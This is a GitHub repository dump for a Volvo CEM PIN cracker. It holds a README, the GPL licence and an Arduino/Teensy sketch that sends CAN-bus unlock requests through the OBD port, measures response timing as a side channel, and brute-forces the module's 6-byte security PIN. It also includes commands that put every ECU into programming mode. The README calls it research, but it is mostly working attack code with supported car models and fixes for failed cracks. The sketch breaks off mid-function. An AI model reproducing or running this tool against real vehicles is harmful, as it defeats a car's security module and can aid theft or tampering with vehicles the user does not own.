├── doc ├── pin.png ├── schematic.png ├── LCD_PIN_display.jpg ├── schematic_LCD.png ├── LCD_progress_display.jpg ├── Volvo CEM PIN Cracker. Bosh CF160 version.pdf ├── Schematic_Volvo-CEM-L-(50)-cracker_2024-02-01.pdf ├── SCH_Volvo CEM-L (50) cracker_2023-01-16.json └── SCH_Volvo-CEM-L-(50)-cracker_2024-02-01.json ├── README.md ├── LICENSE └── volvo-cem-cracker.ino /doc/pin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vtl/volvo-cem-cracker/HEAD/doc/pin.png -------------------------------------------------------------------------------- /doc/schematic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vtl/volvo-cem-cracker/HEAD/doc/schematic.png -------------------------------------------------------------------------------- /doc/LCD_PIN_display.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vtl/volvo-cem-cracker/HEAD/doc/LCD_PIN_display.jpg -------------------------------------------------------------------------------- /doc/schematic_LCD.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vtl/volvo-cem-cracker/HEAD/doc/schematic_LCD.png -------------------------------------------------------------------------------- /doc/LCD_progress_display.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vtl/volvo-cem-cracker/HEAD/doc/LCD_progress_display.jpg -------------------------------------------------------------------------------- /doc/Volvo CEM PIN Cracker. Bosh CF160 version.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vtl/volvo-cem-cracker/HEAD/doc/Volvo CEM PIN Cracker. Bosh CF160 version.pdf -------------------------------------------------------------------------------- /doc/Schematic_Volvo-CEM-L-(50)-cracker_2024-02-01.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vtl/volvo-cem-cracker/HEAD/doc/Schematic_Volvo-CEM-L-(50)-cracker_2024-02-01.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Volvo CEM pin cracker via OBD 2 | 3 | A research project grown out of curiosity. Cracks 6 bytes of pin code via High Speed CAN-bus in under 20 minutes. 4 | 5 | ## Supported platforms: 6 | 7 | * P1: 8 | * 2004 - 2011 S40 9 | * 2004 - 2011 V50 10 | * 2008 - 2013 C30 11 | * 2006 - 2013 C70 12 | * P2: 13 | * 2005 - 2006 S80 14 | * 2005 - 2007 V70 15 | * 2005 - 2007 XC70 16 | * 2005 - 2009 S60 17 | * 2003 - 2014 XC90 18 | 19 | Earlier P2 1999-2004 can be supported as well, CEM donation is welcome. 20 | 21 | Find us at Matthew's Volvo Site for support: https://www.matthewsvolvosite.com/forums/viewtopic.php?f=10&t=85611 22 | 23 | Big thanks to an unidentified hacker from western Germany for hints! 24 | 25 | ![Image](doc/schematic.png) 26 | 27 | An optional LCD display can be added for stand-alone operation. 28 | 29 | ![Image](doc/schematic_LCD.png) 30 | 31 | ![Image](doc/pin.png) 32 | 33 | Cracking CEM pin in about 10 minutes (video): 34 | 35 | [![Image](http://img.youtube.com/vi/w8GS_1SFgeg/0.jpg)](http://www.youtube.com/watch?v=w8GS_1SFgeg "Cracking CEM pin in about 10 minutes") 36 | 37 | ## Possible issues and fixes 38 | Depending on your CEM model, you may face some issues with PIN decoding. Here are some examples and recommendations. 39 | 40 | ### CEM 30786889 41 | #### Unable to decode 3rd byte. 42 | Cracker decodes first 2 bytes, but the third byte is always different so PIN cannot be decoded. For example: 43 | 44 | ``` 45 | Attempt 1: 46 | 21:54:30.212 -> Candidate PIN 32 78 79 -- -- -- : brute forcing bytes 3 to 5 (3 bytes), will take up to 646 seconds 47 | ... 48 | Attempt 2: 49 | 22:30:45.288 -> Candidate PIN 32 78 78 -- -- -- : brute forcing bytes 3 to 5 (3 bytes), will take up to 646 seconds 50 | 51 | Attempt 3: 52 | 23:06:12.024 -> Candidate PIN 32 78 02 -- -- -- : brute forcing bytes 3 to 5 (3 bytes), will take up to 646 seconds 53 | 54 | Attempt 4: 55 | 14:26:13.327 -> Candidate PIN 32 78 41 -- -- -- : brute forcing bytes 3 to 5 (3 bytes), will take up to 646 seconds 56 | ``` 57 | 58 | There are two possible solutions that may help: 59 | 1. Use brute force for rest of bytes - it may take 18-20 hours. To do it, change the following tunable parameter value to 2: 60 | ``` 61 | #define CALC_BYTES 3 /* how many PIN bytes to calculate (1 to 4), the rest is brute-forced */ 62 | ``` 63 | 64 | 2. Another solution that may help - comment out the following line: 65 | ``` 66 | set_arm_clock (180000000); 67 | ``` 68 | 69 | And to avoid time waste, hardcode the first two bytes that you already know: 70 | ``` 71 | /* try and crack each PIN position */ 72 | 73 | // Add lines to skip first known bytes */ 74 | pin[0] = 0x32; // Known first byte example 75 | pin[1] = 0x78; // Known second byte example 76 | 77 | // Change initial value of i from 0 to 2 78 | for (i = 2; i < maxBytes; i++) { 79 | crackPinPosition (pin, i, verbose); 80 | } 81 | ``` 82 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. 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Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /volvo-cem-cracker.ino: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-3.0 */ 2 | /* 3 | * Copyright (C) 2020, 2021 Vitaly Mayatskikh 4 | * 2020 Christian Molson 5 | * 2020 Mark Dapoz 6 | * 7 | * This work is licensed under the terms of the GNU GPL, version 3. 8 | * 9 | */ 10 | 11 | /* tunable parameters */ 12 | 13 | #define CALC_BYTES 3 /* how many PIN bytes to calculate (1 to 4), the rest is brute-forced */ 14 | #define CEM_PN_AUTODETECT /* comment out for P2 CEM-L on the bench w/o DIM */ 15 | //#define DUMP_BUCKETS /* dump all buckets for debugging */ 16 | 17 | /* end of tunable parameters */ 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | #if !defined(__IMXRT1062__) 24 | #error Unsupported Teensy model, need 4.x 25 | #endif 26 | 27 | uint32_t cem_reply_min; 28 | uint32_t cem_reply_avg; 29 | uint32_t cem_reply_max; 30 | 31 | #define AVERAGE_DELTA_MIN -8 /* buckets to look at before the rolling average */ 32 | #define AVERAGE_DELTA_MAX 12 /* buckets to look at after the rolling average */ 33 | 34 | #define CAN_L_PIN PIND2 /* CAN Rx pin connected to digital pin 2 */ 35 | #define CALC_BYTES_PIN PIND3 /* calculated bytes selection to digital pin 3 */ 36 | #define ABORT_PIN 14 /* abort cracking request */ 37 | 38 | #define CAN_500KBPS 500000 /* 500 Kbit speed */ 39 | #define CAN_250KBPS 250000 /* 250 Kbit speed */ 40 | #define CAN_125KBPS 125000 /* 125 Kbit speed */ 41 | 42 | FlexCAN_T4 can_hs; 43 | FlexCAN_T4 can_ls; 44 | 45 | typedef enum { 46 | CAN_HS, /* high-speed bus */ 47 | CAN_LS /* low-speed bus */ 48 | } can_bus_id_t; 49 | 50 | /* use the ARM cycle counter as the time-stamp */ 51 | 52 | #define TSC ARM_DWT_CYCCNT 53 | 54 | #define printf Serial.printf 55 | 56 | #define CAN_MSG_SIZE 8 /* messages are always 8 bytes */ 57 | 58 | #define CEM_HS_ECU_ID 0x50 /* CEM ECU id on the high-speed CAN bus */ 59 | #define CEM_LS_ECU_ID 0x40 /* CEM ECU id on the low-speed CAN bus */ 60 | 61 | #define PIN_LEN 6 /* a PIN has 6 bytes */ 62 | 63 | uint8_t shuffle_orders[4][PIN_LEN] = { { 0, 1, 2, 3, 4, 5 }, { 3, 1, 5, 0, 2, 4 }, {5, 2, 1, 4, 0, 3}, { 2, 4, 5, 0, 3, 1} }; 64 | 65 | uint8_t *shuffle_order; 66 | 67 | /* configuration parameters for known CEM part numbers */ 68 | 69 | struct _cem_params { 70 | uint32_t part_number; /* CEM part number */ 71 | uint32_t baud; /* baud rate on high-speed bus */ 72 | uint32_t shuffle; /* PIN shuffle order */ 73 | } cem_params[] = { 74 | 75 | /* P1 */ 76 | 77 | { 8690719, CAN_500KBPS, 0 }, 78 | { 8690720, CAN_500KBPS, 0 }, 79 | { 8690721, CAN_500KBPS, 0 }, 80 | { 8690722, CAN_500KBPS, 0 }, 81 | { 30765471, CAN_500KBPS, 0 }, 82 | { 30728906, CAN_500KBPS, 0 }, 83 | { 30765015, CAN_500KBPS, 0 }, 84 | { 31254317, CAN_500KBPS, 0 }, 85 | { 31327215, CAN_500KBPS, 3 }, 86 | { 31254749, CAN_500KBPS, 3 }, 87 | { 31254903, CAN_500KBPS, 0 }, 88 | { 31296881, CAN_500KBPS, 3 }, 89 | 90 | /* P2 CEM-B (Brick shaped 1999-2004 with K-line) */ 91 | 92 | { 8645716, CAN_250KBPS, 0 }, 93 | { 8645719, CAN_250KBPS, 0 }, 94 | { 8688434, CAN_250KBPS, 0 }, 95 | { 8688436, CAN_250KBPS, 0 }, 96 | { 8688513, CAN_250KBPS, 2 }, 97 | { 30657629, CAN_250KBPS, 0 }, 98 | { 9494336, CAN_250KBPS, 0 }, 99 | { 9494594, CAN_250KBPS, 0 }, 100 | { 8645171, CAN_250KBPS, 0 }, 101 | { 9452553, CAN_250KBPS, 0 }, 102 | { 8645205, CAN_250KBPS, 0 }, 103 | { 9452596, CAN_250KBPS, 0 }, 104 | { 8602436, CAN_250KBPS, 0 }, 105 | { 9469809, CAN_250KBPS, 0 }, 106 | { 8645200, CAN_250KBPS, 0 }, 107 | 108 | /* P2 CEM-L (L shaped and marked L 2005-2014) */ 109 | 110 | { 30682981, CAN_500KBPS, 1 }, 111 | { 30682982, CAN_500KBPS, 1 }, 112 | { 30728356, CAN_500KBPS, 1 }, 113 | { 30728542, CAN_500KBPS, 1 }, 114 | { 30765149, CAN_500KBPS, 1 }, 115 | { 30765646, CAN_500KBPS, 1 }, 116 | { 30786475, CAN_500KBPS, 1 }, 117 | { 30786889, CAN_500KBPS, 1 }, 118 | { 31282457, CAN_500KBPS, 1 }, 119 | { 31314468, CAN_500KBPS, 1 }, 120 | { 31394158, CAN_500KBPS, 1 }, 121 | 122 | /* P2 CEM-H (L shaped and marked H 2005 - 2008) */ 123 | 124 | { 30786476, CAN_500KBPS, 1 }, 125 | { 30728539, CAN_500KBPS, 1 }, 126 | { 30682982, CAN_500KBPS, 1 }, 127 | { 30728357, CAN_500KBPS, 1 }, 128 | { 30765148, CAN_500KBPS, 1 }, 129 | { 30765643, CAN_500KBPS, 1 }, 130 | { 30786476, CAN_500KBPS, 1 }, 131 | { 30786890, CAN_500KBPS, 1 }, 132 | { 30795115, CAN_500KBPS, 1 }, 133 | { 31282455, CAN_500KBPS, 1 }, 134 | { 31394157, CAN_500KBPS, 1 }, 135 | { 30786579, CAN_500KBPS, 1 }, 136 | }; 137 | 138 | /* measured latencies are stored for each of possible value of a single PIN digit */ 139 | 140 | typedef struct seq { 141 | uint8_t pinValue; /* value used for the PIN digit */ 142 | uint32_t latency; /* measured latency */ 143 | double std; 144 | } sequence_t; 145 | 146 | sequence_t sequence[100] = { 0 }; 147 | 148 | /* number of PIN bytes to calculate */ 149 | 150 | uint32_t calc_bytes = CALC_BYTES; 151 | 152 | /* Teensy function to set the core's clock rate */ 153 | 154 | extern "C" uint32_t set_arm_clock (uint32_t freq); 155 | 156 | /* Initialize the LCD library for use with the Hitachi HD44780 157 | * controller using the following interface pins: 158 | * 159 | * LCD RS pin to digital pin 8 160 | * LCD Enable pin to digital pin 9 161 | * LCD D4 pin to digital pin 4 162 | * LCD D5 pin to digital pin 5 163 | * LCD D6 pin to digital pin 6 164 | * LCD D7 pin to digital pin 7 165 | * LCD R/W pin to ground 166 | * LCD VSS pin to ground 167 | * LCD VCC pin to 5V 168 | * LCD VO pin to variable 10K resistor to ground 169 | * LCD LCD- to ground 170 | * LCD LCD+ to +5V via 1K resistor 171 | */ 172 | 173 | #define LCD_ROWS 2 174 | #define LCD_COLS 16 175 | 176 | const uint8_t rs = 8, en = 9, d4 = 4, d5 = 5, d6 = 6, d7 = 7; 177 | LiquidCrystal lcd (rs, en, d4, d5, d6, d7); 178 | 179 | #define lcd_printf(x, y, fmt, args...) { \ 180 | char buf[LCD_COLS + 1]; \ 181 | snprintf (buf, sizeof(buf), fmt , ## args); \ 182 | lcd.setCursor (x, y); \ 183 | lcd.print (buf); \ 184 | } 185 | 186 | /* forward declarations */ 187 | 188 | bool cemUnlock (uint8_t *pin, uint8_t *pinUsed, uint32_t *latency, bool verbose); 189 | 190 | /* abort request setting */ 191 | 192 | volatile bool abortReq = false; 193 | 194 | /******************************************************************************* 195 | * 196 | * abortIsr - interrupt service routine for aborting request 197 | * 198 | * Returns: N/A 199 | */ 200 | 201 | void abortIsr (void) 202 | { 203 | /* signal that we want to abort the operation */ 204 | 205 | abortReq = true; 206 | } 207 | 208 | /******************************************************************************* 209 | * 210 | * canMsgSend - send message on the CAN bus (FlexCAN_T4 version) 211 | * 212 | * Returns: N/A 213 | */ 214 | 215 | void canMsgSend (can_bus_id_t bus, uint32_t id, uint8_t *data, bool verbose) 216 | { 217 | CAN_message_t msg; 218 | 219 | if (verbose == true) { 220 | printf ("CAN_%cS ---> ID=%08x data=%02x %02x %02x %02x %02x %02x %02x %02x\n", 221 | bus == CAN_HS ? 'H' : 'L', 222 | id, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]); 223 | } 224 | 225 | /* prepare the message to transmit */ 226 | 227 | msg.id = id; 228 | msg.len = 8; 229 | msg.flags.extended = 1; 230 | memcpy (msg.buf, data, 8); 231 | 232 | /* send it to the appropriate bus */ 233 | 234 | switch (bus) { 235 | case CAN_HS: 236 | can_hs.write (msg); 237 | break; 238 | case CAN_LS: 239 | can_ls.write (msg); 240 | break; 241 | default: 242 | break; 243 | } 244 | } 245 | 246 | CAN_message_t can_hs_event_msg; 247 | CAN_message_t can_ls_event_msg; 248 | volatile bool can_hs_event_msg_available = false; 249 | volatile bool can_ls_event_msg_available = false; 250 | 251 | /******************************************************************************* 252 | * 253 | * canMsgReceive - receive a CAN bus message 254 | * 255 | * Note: always processes messages from the high-speed bus 256 | * 257 | * Returns: true if a message was available, false otherwise 258 | */ 259 | 260 | bool canMsgReceive (can_bus_id_t bus, uint32_t *id, uint8_t *data, uint32_t wait, bool verbose) 261 | { 262 | uint8_t *pData; 263 | uint32_t canId = 0; 264 | bool ret = false; 265 | volatile bool &msg_avail = (bus == CAN_HS ? can_hs_event_msg_available : can_ls_event_msg_available); 266 | CAN_message_t &msg = (bus == CAN_HS ? can_hs_event_msg : can_ls_event_msg); 267 | 268 | do { 269 | 270 | /* call FlexCAN_T4's event handler to process queued messages */ 271 | 272 | bus == CAN_HS ? can_hs.events () : can_ls.events (); 273 | 274 | /* check if a message was available and process it */ 275 | 276 | if (msg_avail) { 277 | 278 | /* process the global buffer set by can_hs.events */ 279 | 280 | msg_avail = false; 281 | canId = msg.id; 282 | pData = msg.buf; 283 | ret = true; 284 | } else { 285 | delay (1); 286 | wait--; 287 | } 288 | } while (!ret && wait); 289 | 290 | /* no message, just return an error */ 291 | 292 | if (!ret) 293 | return ret; 294 | 295 | /* save data to the caller if they provided buffers */ 296 | 297 | if (id) 298 | *id = canId; 299 | 300 | if (data) 301 | memcpy (data, pData, CAN_MSG_SIZE); 302 | 303 | /* print the message we received */ 304 | 305 | if (verbose) { 306 | printf ("CAN_%cS <--- ID=%08x data=%02x %02x %02x %02x %02x %02x %02x %02x\n", 307 | bus == CAN_HS ? 'H' : 'L', 308 | canId, pData[0], pData[1], pData[2], pData[3], pData[4], pData[5], pData[6], pData[7]); 309 | } 310 | 311 | return ret; 312 | } 313 | 314 | /******************************************************************************* 315 | * 316 | * binToBcd - convert an 8-bit value to a binary coded decimal value 317 | * 318 | * Returns: converted 8-bit BCD value 319 | */ 320 | 321 | uint8_t binToBcd (uint8_t value) 322 | { 323 | return ((value / 10) << 4) | (value % 10); 324 | } 325 | 326 | /******************************************************************************* 327 | * 328 | * bcdToBin - convert a binary coded decimal value to an 8-bit value 329 | * 330 | * Returns: converted 8-bit binary value 331 | */ 332 | 333 | uint8_t bcdToBin (uint8_t value) 334 | { 335 | return ((value >> 4) * 10) + (value & 0xf); 336 | } 337 | 338 | /******************************************************************************* 339 | * 340 | * profileCemResponse - profile the CEM's response to PIN requests 341 | * 342 | * Returns: number of PINs processed per second 343 | */ 344 | 345 | uint32_t profileCemResponse (void) 346 | { 347 | uint8_t pin[PIN_LEN] = { 0 }; 348 | uint32_t start; 349 | uint32_t end; 350 | uint32_t latency; 351 | uint32_t rate; 352 | bool verbose = false; 353 | uint32_t i; 354 | 355 | cem_reply_avg = 0; 356 | 357 | /* start time in milliseconds */ 358 | 359 | start = millis (); 360 | 361 | /* collect the samples */ 362 | 363 | for (i = 0; i < 1000; i++) { 364 | 365 | /* average calculation is more reliable using random PIN digits */ 366 | 367 | for (uint32_t j = 0; j < PIN_LEN; j++) 368 | pin[j] = binToBcd (random (0, 99)); 369 | 370 | /* try and unlock the CEM with the random PIN */ 371 | 372 | cemUnlock (pin, NULL, &latency, verbose); 373 | 374 | /* keep a running total of the average latency */ 375 | 376 | cem_reply_avg += latency / clockCyclesPerMicrosecond (); 377 | } 378 | 379 | /* end time in milliseconds */ 380 | 381 | end = millis (); 382 | 383 | /* calculate the average latency for a single response */ 384 | 385 | cem_reply_avg /= 1000; 386 | 387 | cem_reply_min = cem_reply_avg / 2; 388 | cem_reply_max = cem_reply_avg + cem_reply_min; 389 | 390 | /* number of PINs processed per second */ 391 | 392 | rate = 1e6 / (end - start); 393 | 394 | printf ("1000 pins in %u ms, %u pins/s, average response: %u us, histogram %u to %u us \n", 395 | (end - start), rate, cem_reply_avg, cem_reply_min, cem_reply_max); 396 | return rate; 397 | } 398 | 399 | volatile bool intr; 400 | 401 | /******************************************************************************* 402 | * 403 | * cemUnlock - attempt to unlock the CEM with the provided PIN 404 | * 405 | * Returns: true if the CEM was unlocked, false otherwise 406 | */ 407 | 408 | bool cemUnlock (uint8_t *pin, uint8_t *pinUsed, uint32_t *latency, bool verbose) 409 | { 410 | uint8_t unlockMsg[CAN_MSG_SIZE] = { CEM_HS_ECU_ID, 0xBE }; 411 | uint8_t reply[CAN_MSG_SIZE]; 412 | uint8_t *pMsgPin = unlockMsg + 2; 413 | uint64_t start, end, limit; 414 | uint32_t id; 415 | uint32_t maxTime = 0; 416 | 417 | /* shuffle the PIN and set it in the request message */ 418 | 419 | for (uint32_t i = 0; i < PIN_LEN; i++) 420 | pMsgPin[shuffle_order[i]] = pin[i]; 421 | 422 | /* maximum time to collect our samples */ 423 | 424 | limit = TSC + 2 * 1000 * clockCyclesPerMicrosecond (); 425 | intr = false; 426 | 427 | /* send the unlock request */ 428 | 429 | canMsgSend (CAN_HS, 0xffffe, unlockMsg, verbose); 430 | 431 | start = end = TSC; 432 | while (!intr && TSC < limit) { 433 | 434 | /* if the line is high, the CAN bus is either idle or transmitting a bit */ 435 | 436 | if (digitalRead (CAN_L_PIN)) 437 | continue; 438 | 439 | /* the CAN bus isn't idle, it's the start of the next bit */ 440 | 441 | end = TSC; 442 | 443 | /* we only need to track the longest time we've seen */ 444 | 445 | if (end - start > maxTime) 446 | maxTime = end - start; 447 | /* start of the next sample */ 448 | 449 | start = end; 450 | } 451 | 452 | /* default reply is set to indicate a failure */ 453 | 454 | memset (reply, 0xff, sizeof(reply)); 455 | 456 | /* see if anything came back from the CEM */ 457 | 458 | canMsgReceive (CAN_HS, &id, reply, 1000, false); 459 | 460 | /* return the maximum time between transmissions that we saw on the CAN bus */ 461 | 462 | if (latency) 463 | *latency = maxTime; 464 | 465 | /* return PIN used if the caller wants it */ 466 | 467 | if (pinUsed != NULL) { 468 | memcpy (pinUsed, pMsgPin, PIN_LEN); 469 | } 470 | 471 | /* a reply of 0x00 indicates CEM was unlocked */ 472 | 473 | return reply[2] == 0x00; 474 | } 475 | 476 | /******************************************************************************* 477 | * 478 | * ecu_read_part_number - read the part number for an ECU 479 | * 480 | * Returns: part number as a 32-bit value 481 | */ 482 | 483 | uint32_t ecu_read_part_number (can_bus_id_t bus, uint8_t id) 484 | { 485 | uint32_t _id; 486 | uint8_t data[CAN_MSG_SIZE] = { 0xcb, id, 0xb9, 0xf0, 0x00, 0x00, 0x00, 0x00 }; 487 | uint8_t rcv[CAN_MSG_SIZE]; 488 | bool verbose = true; 489 | uint32_t pn = 0; 490 | bool ret; 491 | uint32_t i, j = 0; 492 | uint32_t frame; 493 | 494 | printf ("Reading part number from ECU 0x%02x on CAN_%cS\n", id, bus == CAN_HS ? 'H' : 'L'); 495 | 496 | yet_again: 497 | canMsgSend (bus, 0xffffe, data, verbose); 498 | i = 0; 499 | j++; 500 | frame = 0; 501 | 502 | if (j > 10) 503 | return 0; 504 | 505 | do { 506 | again: 507 | i++; 508 | if (i > 20) 509 | goto yet_again; 510 | 511 | ret = canMsgReceive (bus, &_id, rcv, 10, true); 512 | if (!ret) 513 | goto again; 514 | 515 | _id &= 0xffff; 516 | 517 | if (bus == CAN_HS && _id != 0x0003UL) 518 | goto again; 519 | 520 | if (bus == CAN_LS && _id != 0x0003UL && _id != 0x0005UL) 521 | goto again; 522 | 523 | i = 0; 524 | if (frame == 0 && rcv[0] & 0x80) { 525 | pn *= 100; pn += bcdToBin (rcv[5]); 526 | pn *= 100; pn += bcdToBin (rcv[6]); 527 | pn *= 100; pn += bcdToBin (rcv[7]); 528 | frame++; 529 | } else if (frame == 1 && !(rcv[0] & 0x40)) { 530 | pn *= 100; pn += bcdToBin (rcv[1]); 531 | frame++; 532 | } 533 | } while (frame < 2); 534 | 535 | printf ("Part Number: %u\n", pn); 536 | return pn; 537 | } 538 | 539 | /******************************************************************************* 540 | * 541 | * ecu_read_part_number_prog - read the part number for an ECU in PROG mode 542 | * 543 | * Returns: part number as a 32-bit value 544 | */ 545 | 546 | uint32_t ecu_read_part_number_prog (can_bus_id_t bus, uint8_t id) 547 | { 548 | uint32_t _id; 549 | uint8_t data[CAN_MSG_SIZE] = { id, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 550 | bool verbose = true; 551 | uint32_t pn = 0; 552 | 553 | printf ("Reading part number from ECU 0x%02x on CAN_%cS\n", id, bus == CAN_HS ? 'H' : 'L'); 554 | 555 | canMsgSend (bus, 0xffffe, data, verbose); 556 | canMsgReceive (bus, &_id, data, 1000, verbose); 557 | 558 | for (uint32_t i = 0; i < 6; i++) { 559 | pn *= 100; 560 | pn += bcdToBin (data[2 + i]); 561 | } 562 | 563 | printf ("Part Number: %u\n", pn); 564 | return pn; 565 | } 566 | 567 | /******************************************************************************* 568 | * 569 | * progModeOn - put all ECUs into programming mode 570 | * 571 | * Returns: N/A 572 | */ 573 | 574 | void progModeOn (void) 575 | { 576 | uint8_t data[CAN_MSG_SIZE] = { 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 577 | uint32_t time = 5000; 578 | uint32_t delayTime = 5; 579 | bool verbose = true; 580 | 581 | printf ("Putting all ECUs into programming mode.\n"); 582 | 583 | while (canMsgReceive (CAN_HS, NULL, NULL, 1, false)); 584 | 585 | /* broadcast a series of PROG mode requests */ 586 | 587 | while (time > 0) { 588 | if ((time % 1000) == 0) 589 | k_line_keep_alive (); 590 | 591 | canMsgSend (CAN_HS, 0xffffe, data, verbose); 592 | canMsgSend (CAN_LS, 0xffffe, data, verbose); 593 | 594 | verbose = false; 595 | time -= delayTime; 596 | delay (delayTime); 597 | } 598 | 599 | while (canMsgReceive (CAN_HS, NULL, NULL, 1, false)); 600 | } 601 | 602 | /******************************************************************************* 603 | * 604 | * progModeOff - reset all ECUs to get them out of programming mode 605 | * 606 | * Returns: N/A 607 | */ 608 | 609 | void progModeOff (void) 610 | { 611 | uint8_t data[CAN_MSG_SIZE] = { 0xFF, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 612 | bool verbose = true; 613 | 614 | printf ("Resetting all ECUs.\n"); 615 | 616 | /* broadcast a series of reset requests */ 617 | 618 | for (uint32_t i = 0; i < 50; i++) { 619 | canMsgSend (CAN_HS, 0xffffe, data, verbose); 620 | canMsgSend (CAN_LS, 0xffffe, data, verbose); 621 | 622 | verbose = false; 623 | delay (100); 624 | } 625 | } 626 | 627 | /******************************************************************************* 628 | * 629 | * seq_max_lat - qsort comparison function 630 | * 631 | * Returns: compare latencies and return relative difference between two values 632 | */ 633 | 634 | int seq_max_lat (const void *a, const void *b) 635 | { 636 | sequence_t *_a = (sequence_t *)a; 637 | sequence_t *_b = (sequence_t *)b; 638 | 639 | return _b->latency - _a->latency; 640 | } 641 | 642 | /******************************************************************************* 643 | * 644 | * crackPinPosition - attempt to find a specific digit in the PIN 645 | * 646 | * Returns: true if aborted 647 | */ 648 | 649 | bool crackPinPosition (uint8_t *pin, uint32_t pos, bool verbose) 650 | { 651 | uint8_t seq[100]; 652 | uint32_t i; 653 | uint32_t ranges[7] = { 100, 50, 25, 12, 6, 3, 2 }; 654 | uint32_t samples[7] = { 10, 20, 50, 100, 200, 300, 400 }; 655 | 656 | for (i = 0; i < 100; i++) { 657 | seq[i] = binToBcd (i); 658 | } 659 | 660 | for (i = 0; i < 7; i++) { 661 | 662 | /* run through the range and exit if aborted */ 663 | 664 | if (crack_range (pin, pos, seq, ranges[i], samples[i], verbose)) 665 | return (true); 666 | } 667 | 668 | return (false); 669 | } 670 | 671 | /******************************************************************************* 672 | * 673 | * crack_range - attempt to find PIN digit in a range 674 | * 675 | * Returns: true if aborted 676 | */ 677 | 678 | bool crack_range (uint8_t *pin, uint32_t pos, uint8_t *seq, uint32_t range, uint32_t samples, bool verbose) 679 | { 680 | uint32_t len = sizeof(int) * (cem_reply_max - cem_reply_min); 681 | uint32_t *histogram = (uint32_t *)malloc (len); 682 | uint32_t latency; 683 | uint32_t prod; 684 | uint32_t sum; 685 | double std; 686 | uint32_t pin1, pin2; 687 | uint32_t i; 688 | uint32_t k; 689 | uint32_t xmin = cem_reply_avg + AVERAGE_DELTA_MIN; 690 | uint32_t xmax = cem_reply_avg + 